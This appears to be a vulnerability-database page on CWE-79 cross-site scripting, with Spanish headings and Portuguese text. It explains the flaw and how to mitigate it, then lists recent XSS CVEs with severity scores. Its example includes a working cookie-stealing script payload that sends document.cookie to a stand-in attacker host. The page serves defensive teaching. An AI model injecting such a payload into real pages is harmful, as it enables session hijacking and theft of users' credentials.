Fallos del tipo CWE-79

30.587 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-25557MEDIUMEvoluted PHP Directory Listing Script 4.0.5 Reflected XSS via dir parameterEPSS 0.2%CVE-2026-63355MEDIUMAffected devices do not properly sanitize signal names contained in imported CSV trace files before rendering them in selection menus on theEPSS 0.2%CVE-2026-4920MEDIUMNext Date <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'default' Shortcode AttributeEPSS 0.2%CVE-2026-24979HIGHWordPress Jobica Core plugin <= 1.4.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2021-47951MEDIUMWordPress Picture Gallery 1.4.2 Stored XSS via Edit Content URLEPSS 0.2%CVE-2026-36763MEDIUMA stored cross-site scripting (XSS) vulnerability in the /api/blade-desk/notice/submit endpoint of SpringBlade v4.8.0 allows attackers to exEPSS 0.2%CVE-2024-10031MEDIUMIn Eclipse GlassFish version 7.0.15 is possible to perform Stored Cross-site Scripting attacks by modifying the configuration file in the unEPSS 0.2%CVE-2026-1711MEDIUMPega Platform versions 8.1.0 through 25.1.1 are affected by a Stored Cross-Site Scripting vulnerability in a user interface component. Requires a high privileged user with a developer role.EPSS 0.2%CVE-2024-7860MEDIUMSimple Headline Rotator <= 1.0 - Stored XSS via CSRFEPSS 0.2%CVE-2022-50960MEDIUMWordPress International Sms Contact Form 7 Integration 1.2 XSSEPSS 0.2%CVE-2026-63351MEDIUMAffected devices do not properly validate and sanitize visual properties of calculated signals contained in imported CSV trace files before EPSS 0.2%CVE-2026-25351HIGHWordPress MyMedi theme < 1.7.7 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-23973HIGHWordPress Golo theme < 1.7.5 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-103846HIGHDimension | Improper Neutralization of Input During Web Page Generation (Cross-Site Scripting) (CWE-79)EPSS 0.2%CVE-2021-47950MEDIUMAdvanced Guestbook 2.4.4 Persistent XSS via SmiliesEPSS 0.2%CVE-2024-7822MEDIUMQuick Code <= 1.0 - Stored XSS via CSRFEPSS 0.2%CVE-2026-4859MEDIUMSP Blog Designer <= 1.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'design' AttributeEPSS 0.2%CVE-2026-6237MEDIUMQuick Table <= 1.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'style' Shortcode AttributeEPSS 0.2%CVE-2026-6256MEDIUMCredits Shortcode <= 1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'link' Shortcode AttributeEPSS 0.2%CVE-2026-3877HIGHReflected Cross-Site Scripting in Dashboard SearchEPSS 0.2%